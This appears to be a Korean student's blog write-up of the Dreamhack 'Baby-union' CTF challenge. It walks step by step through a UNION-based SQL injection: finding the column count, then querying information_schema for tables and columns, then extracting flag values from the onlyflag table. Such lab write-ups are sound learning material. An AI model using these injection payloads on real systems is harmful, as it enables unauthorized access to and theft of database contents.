24.07.09 [드림핵] Baby-union

김현수·2024년 7월 9일

웹해킹

목록 보기
6/7

기말 과제에서 시도해보지 못했던 sqli union 공격.
로그인 페이지가 보인다.
작은 따옴표를 uid에 입력해서 제출해본다.
서버 에러를 출력하므로 sqli 공격이 먹힐 것이다.
uid에 참으로 만드는 식을 넣어서 로그인 해본다.
admin, guest, banana 계정을 출력하지만 이대로는 flag를 획득할 수 없다.
데이터베이스에 저장된 id와 description을 출력하는 것 같다.
union 공격을 시도해본다.

3개부터 시도해봤는데 4개에서
성공했다.
그럼 이제 데이터베이스에 저장된 정보를 출력해본다.
먼저 데이터베이스명
secret_db이다.

0' union select all 1, 2, 3, table_name from information_schema.tables 
where table_schema = 'secret_db'; #

을 입력해서 secret_db에 저장된 테이블 이름을 모두 출력했다.

users와 onlyflag 테이블이 나왔다.
users는 로그인에 성공하고 본 것 같으니 onlyflag 테이블을 뒤져본다.

0' union select all 1, 2, 3, column_name from information_schema.columns 
where table_name='onlyflag'; #

을 입력해서 onlyflag 테이블에 저장된 칼럼 이름을 모두 출력했다.
idx, sname, svalue, sflag, sclose가 나왔다.

0' union select all 1, 2, 3, sflag from onlyflag #

을 입력해서 onlyflag 테이블의 sflag 칼럼에 저장된 값을 출력했다.
두둥탁. ?
원래 DH{...} 이런 식으로 알려주지 않나?
제출해본다.
두둥탁. 뭔데 그럼 검색 찬스~

아~ sname이랑 svalue에도 flag가 있구나~ 겁나 상관 없어보이는 이름인데~

0' union select all sname, svalue, 3, sflag from onlyflag #

sname이랑 svalue도 보여지는 행인 1, 2번에 넣어준다.
됐네.
flag is는 왜 굳이?

제출해보자.
또 아니야?

아~~~ sclose도 봐줘야 한다.

0' union select all sname, svalue, 3, sclose from onlyflag #

4번에 있던 sflag 빼고 sclose를 넣어본다.
아하~
그럼 깔끔하게 flag is를 빼보자.

0' union select all svalue, sflag, 3, sclose from onlyflag #

sname을 빼고 한 칸씩 앞으로 당겼다.
이거지
제출해보자
반갑고양이 ㅎㅎ 요즘 내가 미는 유행어임.

profile
안녕 나를 소개하지 이름은 김현수 직업은 학생 취미는 음악 감상 독서 영화 드라마 시청 게임 오 한 줄이 꽤 길다 이거 어디까지 늘어나는 거에요?

0개의 댓글